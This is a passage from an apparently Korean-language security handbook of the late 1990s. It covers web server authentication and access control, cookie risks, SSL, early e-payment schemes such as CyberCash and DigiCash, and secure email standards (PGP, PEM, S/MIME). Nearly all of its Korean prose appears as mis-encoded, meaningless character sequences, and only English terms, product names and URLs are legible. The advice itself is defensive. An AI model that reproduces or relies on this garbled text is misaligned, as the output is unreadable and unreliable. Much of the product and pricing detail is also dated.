- À¯¿ëÇÑ ¸ÞÄ«´ÏÁòÀ̱ä ÇÏÁö¸¸, ±â¹Ð ¹®¼¸¦ º¸È£ÇÏ´Â µ¥ À̵鿡°Ô ÀÇÁ¸ÇÏÁö ¾Êµµ·Ï ÇÑ´Ù. ±â¹Ð ¹®¼µéÀº °·ÂÇÑ ¾Ë°í¸®µëÀ¸·Î ¾ÏȣȵÇÁö ¾Ê´Â ÇÑ ¿ÜºÎ WWW ¼¹ö¿¡ µÎ¾î¼´Â ¾ÈµÈ´Ù. ÆÐ½º¿öµå¿Í ±×·ì ÆÄÀϵéÀÌ document root ¿¡ ÀÖÁö ¾Êµµ·Ï ÁÖÀÇÇÑ´Ù.
- SSL (Secure Sockets Layer) Àº Çâ»óµÈ ÀÎÁõ, Á¢±ÙÅëÁ¦ ¹× ºñ¹Ð¼º(privacy)À» Á¦°øÇÑ´Ù. ±×·¯³ª, À̰ÍÀÇ ¾ÏÈ£È °µµ´Â ¹Ì±¹ ¼öÃâ±ÔÁ¦¿¡ ÀÇÇØ ¾ö°ÝÇÏ°Ô Á¦ÇѵȴÙ. º¸¾È ¸ÞÄ«´ÏÁò ÀåÀ» ÂüÁ¶ÇÑ´Ù. (Áö±ÝÀº ´Þ¶óÁü)
- MS IIS ´Â ±âº» ÀÎÁõ (Basic Authentication) ¿Ü¿¡ NT challenge-response ¸¦ ±â¹ÝÀ¸·ÎÇÏ´Â ÀÎÁõÀ» Á¦°øÇÑ´Ù. ("Lan Manager
auth") ÀÌ·± À¯ÇüÀÇ ÀÎÁõÀº "HTTP auth" º¸´Ù ÈξÀ ´õ °·ÂÇÏÁö¸¸ ½É°¢ÇÑ ¹®Á¦µµ °¡Áö°í ÀÖ´Ù (À§ Explorer ¹ö±× ¸ñ·Ï ÂüÁ¶). ÀÌ ÀÎÁõ ¹æ¹ýÀº ÀÎÆ®¶ó³Ý»óÀÇ Á¢±ÙÀ» Á¦ÇÑÇÏ´Â µ¥´Â ÁÁÁö¸¸, ÀÎÅͳݿ¡¼´Â ¾Æ´Ï´Ù.
- Apache ¿Í mod_perl ÀÌ ÀÖÀ¸¸é, ¸ÂÃã ÀÎÁõ ¸ðµâÀ» ¸¸µé±â°¡ ½±´Ù. http://www.perl.apache.org/ ÂüÁ¶.
Á¢±Ù ÅëÁ¦
- ÆÐŶ ÇÊÅ͸¦ »ç¿ëÇÏ¿© ÀÎÅͳÝÀ¸·ÎºÎÅÍ µé¾î¿À´Â ºÒ¹ýÀûÀÎ ÆÐŶµéÀ» ¹ö¸°´Ù (¹æÈº® ÀåÀ» ÂüÁ¶). ÀÌ ÇÊÅÍ´Â °ø°ÝÀÚ°¡ ½ÇÁ¦·Î ħÅõÇßÀ» °æ¿ì ¼Õ½ÇÀ» ÃÖ¼ÒÈ Çϱâ À§ÇØ ³ª°¡´Â udp, NFS, rpc, X11 ¿¬°áµéµµ ±ÝÁöÇØ¾ß ÇÑ´Ù.
- µµ¸ÞÀÎ À̸§¿¡ µû¸¥ Á¢±ÙÀº IP ÁÖ¼Ò¿¡ ÀÇÇÑ Á¢±ÙÀ» Á¦ÇÑÇϱâ À§ÇØ »ç¿ëµÉ ¼ö ÀÖ´Ù (e.g. access.conf ³ª Netscpae ¼¹ö¿¡¼ filter.conf).
- µð·ºÅ丮º° Á¢±ÙÅëÁ¦´Â .htaccess ³ª .nsconfig ¿¡¼ ¼³Á¤ÇÒ ¼ö ÀÖ´Ù.
- ³»ºÎ WWW ¼¹öµéÀ̳ª µ¥ÀÌŸº£À̽ºµéÀº Áö´ÉÀû ÇÊÅ͸¦ ÅëÇÑ ¹ÏÀ» ¼ö ÀÖ´Â ¼¹ö·ÎÀÇ ¿¬°áÀÌ ¾Æ´Ï¸é ÀÎÅͳÝÀ¸·Î ¾î¶² Á÷Á¢ÀûÀÎ ¿¬°áµµ ¾ø¾î¾ß ÇÑ´Ù.
- »ç¿ëÀÚµéÀº Áß¿ä WWW ¼¹ö¿¡ Á÷Á¢ ·Î±×ÀÎÇÒ ¼ö ¾ø¾î¾ß Çϸç, WWW ¼¹ö¿Í ÀÏ¹Ý »ç¿ëÀÚ È¨/¸ÞÀÏ ¼¹ö¸¦ ºÐ¸®ÇÑ´Ù.
- ¼¹ö¸¦ Àý´ë root·Î µ¹¸®Áö ¸»°í, ÆÐ½º¿öµå°¡ ¸·Èù Àü¿ë »ç¿ëÀÚ¸¦ »ç¿ëÇÑ´Ù. »ç¿ëÀÚ´Â ¹®¼, WWW ¼³Á¤ ¹× ½Ã½ºÅÛ ÆÄÀϵ鿡 ´ëÇÑ Àбâ Á¢±Ù¸¸À» °¡Á®¾ß ÇÑ´Ù. ÀÌ´Â ¼¹ö°¡ ħÅõµÇ¾úÀ» °æ¿ì ¾ß±âµÉ ¼Õ½ÇÀ» Á¦ÇÑÇÏ´Â µ¥ µµ¿òÀÌ µÈ´Ù.
- ¾î¶² ¼¹öµéÀº symbolic links ¸¦ µû¶ó°¡´Â ¿É¼ÇÀ» °¡Áö°í ÀÖ´Ù (e.g. Apache access.conf/Options FollowSymLinks). /etc/passwd °°Àº °÷À¸·Î °¡´Â ¸µÅ©¸¦ µû¶ó°¡´Â °ÍÀ» ÇÇÇϱâ À§ÇØ À̸¦ ¾²Áö ¾Ê´Â °ÍÀÌ ÁÁ´Ù.
- ´ç½ÅÀÇ ÆäÀÌÁö°¡ ¾ËŸºñ½ºÅ¸ °°Àº °Ë»ö¿£Áø¿¡ ÀÇÇØ ³ª¿µÇ±æ ¹Ù¶óÁö ¾ÊÀ¸¸é WWW root ¿¡ robots.txt À» µÐ´Ù. ¶ÇÇÑ Á¢¼Ó ·Î±× (access log)¸¦ °¨½ÃÇÏ¿© ·Îº¿ Ç׸ñµéÀÌ ÀÖ´ÂÁö ã´Â´Ù. ÀϹÝÀûÀ¸·Î ÀÌ ÆÄÀÏÀº ´ÙÀ½À» Æ÷ÇÔÇϰí ÀÖÀ» °ÍÀÌ´Ù:
User-agent:
*
Disallow: /
- Server Side includes (SSI): SSI exec "/bin/cat <filename>" º¸´Ù SSI include "<filename>" ÀÌ ´õ ¾ÈÀüÇÏ´Ù.
- ¼¹ö°¡ ´ç½Å¿¡ ´ëÇØ ¹» ¾Ë°í ÀÖ´ÂÁö º¸·Á¸é, ¿©±â¿¡ ¿¬°áÇØ º¸¶ó: http://www.anonymizer.com/ .
- ¼¹ö´Â ¿©·¯°¡Áö ÀÌÀ¯·Î ´ç½ÅÀÌ ´©±¸ÀÎÁö µîµîÀ» ¾Ë°í ½Í¾îÇÑ´Ù, À̸¦Å׸é:
- ¼±È£ÇÏ´Â °ÍÀ» ÀúÀåÇÏ¿© ´ç½ÅÀÇ ½À¼º¿¡ µû¸¥ ÀÚµ¿ ¸µÅ©¸¦ ¼Ò°³Çϱâ À§ÇØ,
- »çÀÌÆ®ÀÇ ¿©·¯°¡Áö ÆäÀÌÁöµé·ÎºÎÅÍ ¸î °³ÀÇ ÀڷḸ ¼±ÅÃÇÒ ¼ö ÀÖµµ·Ï ÇÏ¿© »ç¿ëÀÚ°¡ »çÀÌÆ®¸¦ ³ª°¡´õ¶óµµ ¼±ÅÃÇÑ °ÍµéÀº °è¼Ó »ç¿ë °¡´ÉÇϵµ·Ï Çϱâ À§ÇØ,
- µî·ÏÁ¤º¸¸¦ ÀúÀåÇÏ¿©, (¿¹¸¦ µé¸é) »ç¿ëÀÚÀ̸§°ú ÆÐ½º¿öµå¸¦ °è¼Ó ÀÔ·ÂÇÏÁö ¾Ê¾Æµµ µÇ°Ô Çϱâ À§ÇØ.
ÄíŰ´Â À§¿¡ ¼³¸íÇÑ ´ë·Î, ¼¹ö¸¦ À§ÇØ (»ç¿ëÀÚ) »óÅ Á¤º¸¸¦ À¯ÁöÇÏ·Á´Â ¸ñÀûÀ¸·Î ¸¸µé¾îÁ³´Ù. ¼¹ö ÄíŰ´Â Á¤º¸ Ç׸ñ°ú ÇÔ²² À¯È¿ÇÑ µµ¸ÞÀÎ À̸§, À¯È¿±â°£, ¹öÀü ¹× ¾ÈÀüÇÏ°Ô Àü¼ÛµÇ¾î¾ß ÇÏ´ÂÁö (Áï HTTP/SSLÀ» ÅëÇØ) ¸¦ °¡¸®Å°´Â Ç÷¡±×¸¦ °¡Áö°í ÀÖ´Ù. Ŭ¶óÀÌ¾ðÆ® ÄíŰ´Â Á¤º¸ Ç׸ñ°ú ÇÔ²² À¯È¿ÇÑ µµ¸ÞÀÎ À̸§, ¹öÀü ¹× °æ·Î¸¦ °¡Áö°í ÀÖ´Ù. Ŭ¶óÀÌ¾ðÆ®µéÀº ÄíŰ´ç 4KB¿Í 1.2MB µ¥ÀÌŸ·Î, ÃÑ 300 °³ÀÇ Äí۸¦ °¡Áú ¼ö ÀÖÀ» °ÍÀ¸·Î °¡Á¤µÈ´Ù (¼¹ö´ç 20 ÄíŰ).
°¡´ÉÇÑ ¹®Á¦µé:
- Äí۰¡ clear text·Î Àü¼ÛµÈ´Ù.
- ¼¹öµéÀÌ Äí۸¦ °øÀ¯ÇÒ ¼ö ÀÖ´Ù (ÇÁ¶óÀ̹ö½Ã À§Çè).
- ¼ºñ½º °ÅºÎ: Äí۰¡ ³Ê¹« ¸¹À¸¸é Ŭ¶óÀÌ¾ðÆ®³ª ¼¹ö ¼ÒÇÁÆ®¿þ¾î°¡ Áߴܵǰųª ¸ØÃâ ¼ö ÀÖ´Ù.
- °ø°ÝÀÚ¿¡ ÀÇÇØ À§Àå Äí۰¡ »ðÀԵǾî, ½Å·ÚÇÒ ¼ö ÀÖ´Â ¼¹ö¿Í ¸»Çϰí ÀÖ´Ù°í »ý°¢Çϴ Ŭ¶óÀÌ¾ðÆ®°¡ Áß¿äÇÑ Á¤º¸¸¦ Á¦°øÇÒ ¼ö ÀÖ´Ù.
Äí۰¡ °ÆÁ¤½º·´´Ù¸é, Navigator & Explorer ¸¦ ¼³Á¤ÇÏ¿© ¼¹ö°¡ ÄíŰ ¼³Á¤À» ¿äûÇÏ¸é °æ°í¸¦ ¹ß»ý½Ã۵µ·Ï ÇÒ ¼ö ÀÖ´Ù. ¸¹Àº »çÀÌÆ®µéÀÌ Äí۸¦ ±¤¹üÀ§ÇÏ°Ô »ç¿ëÇϰí Àֱ⠶§¹®¿¡ ½ÇÁ¦·Î´Â À̰ÍÀÌ ¾î·Æ´Ù. ¶Ç´Ù¸¥ ´ë¾ÈÀº Äí۸¦ °ü¸®Çϱâ À§ÇÑ µµ±¸¸¦ ¼³Ä¡ÇÏ´Â °ÍÀÌ´Ù.
°¡¿ë¼º
°¡´ÉÇÑ ÇÑ Àü¿ë WWW À¥ ¼¹ö¸¦ »ç¿ëÇÏ¿© ¼¹ö°¡ ħÅõµÆÀ» ½ÃÀÇ ÇÇÇØ¸¦ ÃÖ¼ÒÈÇÑ´Ù.
º°°³ÀÇ IP ÁÖ¼Ò¸¦ °¡Áö³ª °°Àº DNS À̸§À¸·Î ¸ÅÇεǴ µ¿ÀÏÇÑ WWW ¼¹ö¸¦ »ç¿ëÇÔÀ¸·Î½á, Áߺ¹ (redundant) WWW ¼ºñ½º°¡ Á¦°øµÉ ¼ö ÀÖ´Ù. ÀÌ ¶§ ¹®Á¦´Â ´ÙÁß ¼¹öµé °£¿¡ ÀÚµ¿ÀûÀ¸·Î ¹®¼¸¦ µ¿±âÈ ÇÏ´Â °ÍÀÌ´Ù. SSH ¿Í rdist ¸¦ »ç¿ëÇÏ¿© À̸¦ ÇØ°áÇÒ ¼ö ÀÖ´Ù.
ÀÌ ÂªÀº ÀýÀº È£±â½É ¸¹Àº »ç¶÷µéÀ» À§ÇØ ³ÖÀº °ÍÀÌ´Ù. ÀÎÅÍ³Ý »ó°Å·¡·ÎÀÇ ¾î·Á¿î Àå¾Ö¹° Áß Çϳª´Â »óǰ/¼ºñ½º¸¦ ¾î¶»°Ô ÇÏ¸é ¾ÈÀüÇÏ°Ô ÁÖ¹®Çϰí ÁöºÒÇÒ ¼ö ÀÖ´À³ÄÀÌ´Ù.
°íÀüÀûÀÎ ¹æ¹ýÀº SSLÀ» ½á¼ ¿Â¶óÀÎ ÁÖ¹® ¼¼¼ÇÀ» ¾ÏÈ£È ÇÏ°í ½Å¿ëÄ«µå¸¦ ½á¼ ÁöºÒÇÏ´Â °ÍÀÌ´Ù. ±×·¯³ª, »õ·Î¿î ÁöºÒ ½Ã½ºÅÛµéÀÌ ³ª¿À°í ÀÖ´Ù, ¿¹¸¦ µé¸é:
- Cyber Cash: ºê¶ó¿ìÀú¿¡ ³»ÀåµÈ °¡»ó Áö°© °³³äÀ» ÀÌ¿ë. http://www.cybercash.com/ ÂüÁ¶
- FirstVirtual: À̸ÞÀÏ ÁÖ¼Ò¿Í ½Å¿ëÄ«µå ¹øÈ£¸¦ PIN °ú ¿¬°ü½ÃŲ´Ù. ±×·¯¸é »ç¿ëÀÚ´Â PIN À» ÀÌ¿ëÇØ ÁöºÒÇÏ¸é µÈ´Ù. Spyglass ºê¶ó¿ìÀú¿¡¼ Áö¿øÇÑ´Ù.
http://www.fv.com/ ÂüÁ¶.
- Digicash/E-cash: ÀüÀÚ ÀºÇà¿¡¼ Çö±ÝÀ» ÀÎÃâÇÏ¿© ¿Â¶óÀÎ »ó¿¡¼ ¾µ ¼ö ÀÖ°Ô ÇØÁØ´Ù. Çö ½ÃÇè ´Ü°è¿¡¼´Â °ø°³Å° ¾ÏȣȰ¡ »ç¿ëµÈ´Ù. Digicash´Â Ŭ¶óÀÌ¾ðÆ®¿¡°Ô Ưº°ÇÑ ¼ÒÇÁÆ®¿þ¾î¸¦ Á¦°øÇÑ´Ù. http://www.digicash.com/ ÂüÁ¶.
´Ù¾çÇÑ ¸¹Àº Á¦Ç°µé(Á¾Á¾ ȣȯµÇÁö ¾Ê´Â)ÀÌ ´Ù¾çÇÑ ¸¹Àº Ç÷§Æû »ó¿¡¼ »ç¿ëµÇ°í ÀÖ´Ù: MS-Mail, Teamlinks, VMSmail, X.400, Mail Exchanger, ÀÎÅÍ³Ý (À¯´Ð½º) ¸ÞÀÏ ¹× IBM Host ¸ÞÀÏ µîµî. ´ë±â¾÷ ³»¿¡¼´Â º¸Åë X.400 ÀÌ ¹éº» ÇÁ·ÎÅäÄÝ·Î, µ¶ÀÚÀû ÇÁ·ÎÅäÄݵ鿡 ´ëÇÑ °ÔÀÌÆ®¿þÀ̸¦ °¡Áö°í ÀÖ´Ù. Lotus notes ´Â ¾Æ¸¶µµ ¿À´Ã³¯ °¡Àå ÀϹÝÀûÀÎ ½Ã½ºÅÛÀÏÅ×Áö¸¸, ÀúÀÚ´Â ÀÌ¿¡´ëÇÑ °æÇèÀÌ ¾ø´Ù (±×·¡¼ ¿©±â¿¡ ¾ð±ÞÇÏÁö ¾Ê¾Ò´Ù).
X.500 Àº Ç¥ÁØÈµÈ µð·ºÅ丮 ¼ºñ½ºÀÌ¸ç ½ÂÀÎÀ» ±¸Çϰí ÀÖ´Â ÁßÀε¥, ÁøÃ´ÀÌ ´À¸®´Ù. À̸¦ ÀÎÅÍ³Ý µð·ºÅ丮·Î ±¸ÇöÇÑ LDAP Àº ÀÏ»óȵǰí ÀÖ´Ù.
ȸ»çÀÇ ÅëÀÏµÈ º¸¾È ¸ÞÀÏ ½Ã½ºÅÛÀº ¸Å¿ì Áß¿äÇÏ°Ô ´Ù·ç¾îÁ®¾ß ÇÑ´Ù. ÇÏÁö¸¸ Àü¼¼°èÀûÀ¸·Ð ¸»ÇÒ °Íµµ ¾ø°Å´Ï¿Í ¹Ì±¹ ³»¿¡¼µµ ÀÌ·¯ÇÑ ¼ºñ½º¸¦ Á¦°øÇÏ´Â Á¦Ç°Àº °ÅÀÇ ¾ø´Ù.
¾ÆÁ÷ ÀϹÝÀûÀ¸·Î Åë¿ëµÇ´Â º¸¾È ¸ÞÀÏ Ã¼°è°¡ ¾øÁö¸¸ S/MIMEÀº Á¶±ÝÀ̳ª¸¶ º¸¾È ¸ÞÀÏ ½Ã½ºÅÛÀÇ ¹Ì·¡¸¦ Á¦½ÃÇÑ´Ù. (¹ØÀ» ÂüÁ¶ÇÑ´Ù) º¸¾È ¸ÞÀÏ ½Ã½ºÅÛÀÇ °³³ä¿¡ ´ÙÀ½À» °í·ÁÇÒ ¼ö ÀÖ´Ù:
- °·ÂÇÑ ¾ÏÈ£È¿Í ÀüÀÚ¼¸íÀ» »ç¿ëÇØ¾ß ÇÑ´Ù.
- ½º¸¶Æ®Ä«µå¿Í ¿¬µ¿ÀÌ °¡´ÉÇØ¾ß ÇÑ´Ù.
- S/MIME¿Í ȣȯÀÌ µÇ¾î¾ß ÇÑ´Ù. PGP¿Í ȣȯµÇµµ·Ï ¼³Á¤°¡´ÉÇÏ¸é ´õ¿í ÁÁ´Ù. (À̰ÍÀº µÎ Á¾·ùÀÇ ´Ù¸¥ ÀÎÁõ¼ Çü½ÄÀ» Áö¿øÇÏ´Â °ÍÀ» ÀǹÌÇÏ¸ç ¹Þ´ÂÀÌ¿¡ µû¶ó S/MIME ¶Ç´Â PGPÀÇ »ç¿ëÀ» Á¤ÇÒ ¼ö ÀÖ¾î¾ß ÇÑ´Ù.)
- ±â¾÷Çü ¼Ö·ç¼Ç (¸¹Àº »ç¿ëÀÚ) À¸·Î »ç¿ëÇÒ º¸¾È¸ÞÀÏ Ã¼°è´Â CAÀÇ ±¸Á¶, »ç¿ë µµ±¸µéÀÇ ¼±Åà ±×¸®°í À̸ÞÀÏ »ç¿ëÀÚ¸¦ °í·ÁÇÑ »ç¿ëÀÚ È¯°æÀÌ Áß¿äÇÏ´Ù.
- LDAP¸¦ »ç¿ëÇÑ ÀÎÁõ¼, ÀÏ·ÃÀÇ ÀÎÁõ¼, CRL(Certificate Revocation Lists) ¶Ç´Â À̸ÞÀÏ ÁÖ¼Ò °¡Á®¿À±â¸¦ Áö¿øÇØ¾ß ÇÑ´Ù.
- CRL°ú ÀÏ·ÃÀÇ ÀÎÁõ¼µé (ÃÖ»óÀ§ CA ±îÁö ¶Ç´Â »óÈ£ ÀÎÁõ ÀÎÁõ¼) ¿¡ °üÇÑ °ËÁõÀÌ °¡´ÉÇØ¾ß ÇÑ´Ù.
- X503 v1-3À» µû¸£´Â ÀÎÁõ¼¿Í v2ÀÇ CRLÀ» »ç¿ëÇØ¾ß ÇÑ´Ù.
- ÀÎÁõ¼¿Í CRLÀ» PC¿¡¼ ·ÎÄ÷Π°ü¸®Çϱâ À§ÇÑ ·ÎÄà Ű °ü¸® ±â´ÉÀÌ ÀÖ¾î¾ß ÇÑ´Ù. Áï ÀÎÁõ¼¿Í CRLÀ» °¡Á®¿À°í, ³»º¸³»°í, º¸°í, °Ë»çÇϸç, ÀÎÁõ¼¸¦ À̸ÞÀÏ ÁÖ¼Ò¿¡ ¿¬°ü½ÃŲ´Ù.
- ÆÐ½º¿öµå¸¦ ¾ó¸¶³ª ÀÚÁÖ ÀÔ·ÂÇØ¾ß ÇÏ´ÂÁö¸¦ ¼³Á¤ÇÒ ¼ö ÀÖ¾î¾ß ÇÑ´Ù: ·Î±×ÀÎ ¼¼¼Ç¸¶´Ù, Æ®·£Àè¼Ç¸¶´Ù ¶Ç´Â ÀÏÁ¤ ½Ã°£¸¶´Ù.
- ÀüÀÚ¼¸íÀÇ °ËÁõ°á°ú¸¦ »ç¿ëÀÚ¿¡°Ô À©µµ¿ì·Î º¸¿©ÁÖ´ÂÁö ¾Æ´Ï¸é »ç¿ëÀÚ°¡ ¸Þ´º³ª ¹öưÀ» ´·¯ Á÷Á¢ È®ÀÎÇÏ´ÂÁö¸¦ ¼³Á¤ÇÒ ¼ö ÀÖ¾î¾ß ÇÑ´Ù.
- ÀüÀÚ¼¸íÀÇ °ËÁõ°á°ú¸¦ »ç¿ëÀÚ¿¡°Ô º¸¿©ÁÙ ¶§, °ü·ÃµÈ ¸ðµç ÀÎÁõ¼¸¦ º¸¿©ÁÖ¾î¾ß ÇÏ°í ¾î´À CRLÀ» È®ÀÎÇß´ÂÁö¸¦ ³ªÅ¸³»¾ß ÇÑ´Ù.
- CA ÀÎÁõ¼ migration À» Áö¿øÇÒ ¼ö ÀÖ¾î¾ß ÇÑ´Ù, Áï "migration certificates" ¸¦ ó¸®ÇÒ ¼ö ÀÖ¾î¾ß ÇÑ´Ù (»õ·Î¿î ºñ¹ÐŰ·Î ¿À·¡µÈ CA °ø°³Å°¿¡ ¼¸í (forward compatibility) ±×¸®°í ¿À·¡µÈ ºñ¹ÐŰ·Î »õ·Î¿î °ø°³Å°¿¡ ¼¸í (backward compatibility)).
ÀúÀÚ°¡ ¾Æ´Â º¸¾È ¸ÞÀÏ ½Ã½ºÅÛ Áß À§¿¡ ³ª¿µÈ ¸ðµç Á¶°ÇÀ» ¸¸Á·ÇÏ´Â ½Ã½ºÅÛÀº ¾ø´Ù. ±×¹Û¿¡ º¸¾È ¸ÞÀÏ ½Ã½ºÅÛ Æò°¡½Ã °í·ÁÇÒ »çÇ×µéÀº:
- À̸ÞÀÏ Àü¼ÛÁß ¶Ç´Â µµÂø½Ã¿¡ ¾î¶»°Ô ±â¹Ð¼ºÀÌ º¸ÀåµÇ´Â°¡? À̸ÞÀÏÀÇ ³»¿ëÀº ¾ÏÈ£ÈµÇ¾î º¸°üµÇ´Â°¡?
- À̸ÞÀÏÀÇ ³»¿ëÀÇ ¹«°á¼ºÀº ¾î¶»°Ô º¸ÀåµÇ´Â°¡?
- À̸ÞÀÏÀÌ ´©±¸·ÎºÎÅÍ ¿À´ÂÁö ¾î¶»°Ô È®½ÅÇÒ ¼ö Àִ°¡ - ¼Û/¼ö½Å ºÎÀÎ ¹æÁö ? (ÀüÀÚ¼¸í)
- À̸ÞÀÏÀº ¾÷¹« È帧¿¡ ¾î¶»°Ô ÅëÇյǴ°¡?
- ºñ¹Ð/°ø°³Å°´Â ¾î¶»°Ô °ü¸®µÇ´Â°¡? µð·ºÅ丮 ¼ºñ½º?
- ¾ó¸¸ÅÀÇ °¡¿ë¼º ·¹º§ÀÌ ¿ä±¸µÇ´Â°¡, ¾î¶»°Ô º¸ÀåµÉ ¼ö Àִ°¡?
- º¸¾È ±â´ÉÀº ÃÖÁ¾ »ç¿ëÀÚ¿¡°Ô ¾ó¸¶³ª Åõ¸íÇѰ¡? ¾ÈÀüÇÏ°Ô ¸ÞÀÏÀ» Àü¼ÛÇϱⰡ ³Ê¹« ¾î·Æ°Å³ª ´À¸®¸é, »ç¿ëÀÚµéÀÌ ´ë°³ ½¬¿î ¿É¼ÇÀ» ÅÃÇÒ °ÍÀÌ´Ù: - º¸¾È ¾øÀ½ (no security).
- Áß¾Ó ÀÎÁõ ±â°üÀÌ Àִ°¡? X.500 °ú ȣȯÀÌ µÇ´Â°¡? ±â¾÷ÀÇ ´Ù¸¥ ³×ÀÌ¹Ö ½Ã½ºÅÛµé°ú ȣȯÀÌ µÇ´Â°¡?
- ´Ù¸¥ »ç³» ¸ÞÀÏ ½Ã½ºÅÛµé ¹× ÆÄÆ®³Ê ¾÷ü¿¡¼ »ç¿ëÇÏ´Â °Í°ú ¾î¶»°Ô »óÈ£ ÀÛ¿ëÇϴ°¡?
¾ÈÀüÇÑ Àü¼Û°ú ÀüÀÚ ¼¸íÀ» Á¦°øÇÏ´Â ¸î¸î ´ÙÁß Ç÷§Æû Á¦Ç°µéÀÌ ÀÖ´Ù.
PGP¸¦ Á¦°øÇÏ´Â ¹«·á/À¯·áÁ¦Ç°µéÀÌ ÀÖÀ¸¸ç, ÀüÀÚ¿ìÆíÀ̳ª ÆÄÀÏÀ» ¾ÏÈ£ÈÇϴµ¥ »ç¿ëµÈ´Ù. PGP´Â º¸¾È ¸ÞÄ«´ÏÁò Àå¿¡ ¾ð±ÞµÇ¾îÀÖ´Ù.
PEM
PEM (Privacy Enhanced Mail) Àº º¸¾È ¸ÞÀÏ Ç¥ÁØÀ¸·Î Á¦¾ÈµÇ¾ú´Âµ¥, Internet Activities Board ¿¡¼ ¾ÆÁ÷ äÅõÇÁö´Â ¾Ê¾Ò´Ù. PEM Àº ÀÎÁõ°ú ۰ü¸®¸¦ Æ÷ÇÔÇϰí ÀÖÀ¸¸ç, °ø°³ ¹× °ø¿ë Ű ¾ÏÈ£ ½Ã½ºÅÛÀ» ¸ðµÎ »ç¿ëÇÑ´Ù (¾î¶² ¾ÏÈ£¸¦ ¼±ÅÃÇÏ´ÂÁö »ç¿ëÀÚ°¡ ¼±ÅÃÇÑ´Ù).
- CBC ¸ðµå·Î ¾ÏȣȵǴ DES´Â º»ÁúÀûÀ¸·Î Áö¿øµÇ¸ç RSA¿Í DES Ű °ü¸®°¡ Áö¿øµÈ´Ù.
- PEMÀº ÀÎÁõ¼µµ »ç¿ëÇÒ ¼ö ÀÖ´Ù (CCITT X.509 Ç¥ÁØ¿¡ Á¤ÀÇµÈ ´ë·Î).
- TIS ´Â °ø°³ µµ¸ÞÀÎ ±¸ÇöÀ» Á¦°øÇÑ´Ù.
- RFC1421-1424 µµ ÂüÁ¶ÇÑ´Ù.
S/MIME (May'98)
Secure MIME Àº ¾ÈÀüÇÑ À̸ÞÀÏ ±³È¯À» À§ÇÑ »õ·Î¿î (Á¦¾ÈµÈ) ÀÎÅÍ³Ý Ç¥ÁØÀ¸·Î RSA¿¡¼ °³¹ßÇß´Ù. ¾ÆÁ÷ °ø½ÄÀûÀΠǥÁØÀº ¾Æ´ÏÁö¸¸, ¿©·¯ º¥´õµéÀÌ (Netscape¸¦ Æ÷ÇÔÇØ¼) ÀÌ¹Ì S/MIMEÀ» Áö¿øÇϰí ÀÖ´Ù. °ø°³ ÀÎÅÍ³Ý Ç¥ÁØÀ̹ǷÎ, ¾Æ¸¶µµ °¡Àå ÁÁÀº Àå±âÀû ¼Ö·ç¼ÇÀÏ °ÍÀÌ´Ù.
ÀϹÝÀûÀ¸·Î ¼¹ö¿¡¼ S/MIMEÀ» À§ÇÑ º¯°æÀº ÇÊ¿äÄ¡ ¾Ê´Ù. ¿¹¸¦ µé¾î MS Exchange ¿¡¼´Â, MAPI ÀÎÅÍÆäÀ̽º¸¦ ÅëÇØ ÀͽºÃ¼ÀÎÁö Ŭ¶óÀÌ¾ðÆ®¿Í ÅëÇյȴÙ.
¸î¸î Á¦Ç°µéÀº:
Open Soft (www.opensoft.com 1997) ´Â »ç¿ëÀÚ´ç $32 À̰í, ÀͽºÃ¼ÀÎÁö¿Í µ¿ÀÛÇϸç Ű ¼¹ö¸¦ Æ÷ÇÔÇϰí ÀÖ´Ù. ¹Ì±¹ ¼öÃâ ±ÔÁ¦ ´ë»ó. ÀͽºÃ¼ÀÎÁö¿Í´Â È®½ÇÈ÷ Àß µ¿ÀÛÇÑ´Ù.
Deming (www.deming.com) µµ ÀͽºÃ¼ÀÎÁö ȣȯ ½Ã½ºÅÛÀ» Á¦°øÇÏ°í »ç¿ëÀÚ´ç $90 Á¤µµ. ¹Ì±¹ ¼öÃà ±ÔÁ¦ ´ë»ó.
ÀÌÁ¡:
- Eudora Pro 3.0 °ú Exchange ¸ðµÎ¿Í ÀÛµ¿ÇÑ´Ù (±×¸®°í °°Àº ½Ã½ºÅÛ¿¡¼ °°Àº ÀÎÁõ¼¸¦ ¾µ ¼ö ÀÖ´Ù).
- ÀͽºÃ¼ÀÎÁö ¼¹ö¿¡´Â º¯°æÀÌ ÇÊ¿ä¾ø´Ù.
- ÀÎÁõ¼´Â ÀÚü ¼¸íµÇ°Å³ª, VeriSign °°Àº TTP¿¡ ÀÇÇØ ¼¸íµÉ ¼ö ÀÖ´Ù (µðÆúÆ®). ÃßÈÄ¿¡´Â ÅÚ·¹ÄÞ TTP ¿¡ ÅëÇÕµÉ ¼öµµ ÀÖ´Ù.
´ÜÁ¡:
- »ç¿ëÀÚ ÀÎÅÍÆäÀ̽º°¡ ¿Ïº®ÇÏÁö ¾Ê´Ù, À̸¦Å×¸é »ç¿ëÀÚ°¡ ¿ì¹ßÀûÀ¸·Î ¾ÏȣȵÇÁö ¾ÊÀº ÀÌ¸Þ ÀÏÀ» º¸³»±â°¡ ½±´Ù. À̸ÞÀÏÀ» ³ªÅ¸³»´Â µ¥ »ç¿ëµÇ´Â ¾ÆÀÌÄÜÀº ¼ö½ÅµÈ À̸ÞÀÏÀÌ ¼º°øÀûÀ¸·Î ÇØµ¶µÇ¾ú´ÂÁö ±×¸®°í ¼¸íÀÌ È®ÀεǾú´ÂÁö Ç¥½ÃÇÏ´Â °Í °°Áö ¾Ê´Ù. Áö¿ø ºñ¿ëÀ» ³ôÀ̱â´Â ÇÏÁö¸¸, ÀÌ·¯ÇÑ ¹®Á¦µéÀº Åø¹Ù¿¡ º°µµÀÇ ¹öưÀ» Ãß°¡ÇÔÀ¸·Î½á ±Øº¹ÇÒ ¼ö ÀÖ´Ù.
- ¼¸íµÈ ¸Þ½ÃÁö°¡ ÇöÀç ÀÎÁõ¼°¡ ¾ø´Â »ç¿ëÀڷκÎÅÍ ¼ö½ÅµÇ¾úÀ» ¶§, ÀÎÁõ¼´Â ÀÎÁõ¼ µ¥ÀÌŸº£À̽º¿¡ ÀÚµ¿ÀûÀ¸·Î Ãß°¡µÈ´Ù. ÀÌ ÀÎÁõ¼°¡ »ç¿ëµÉ ¼ö ÀÖÀ¸·Á¸é, ¸ÕÀú ¼öÀÛ¾÷À¸·Î ½Å·ÚµÇ¾îÁ®¾ß(trusted) ÇÑ´Ù. ÀÌ ÀýÂ÷°¡ ÀÏ¹Ý »ç¿ëÀڵ鿡°Ô´Â ¾à°£ Çò°¥¸®¸ç, ¼¸íµÈ À̸ÞÀÏÀÌ ¼ö½ÅµÇ¾úÀ» ¶§ ¸ÚÁø ÆË¾÷ »óÀڷΠ󸮵Ǿî¾ß ÇÑ´Ù.
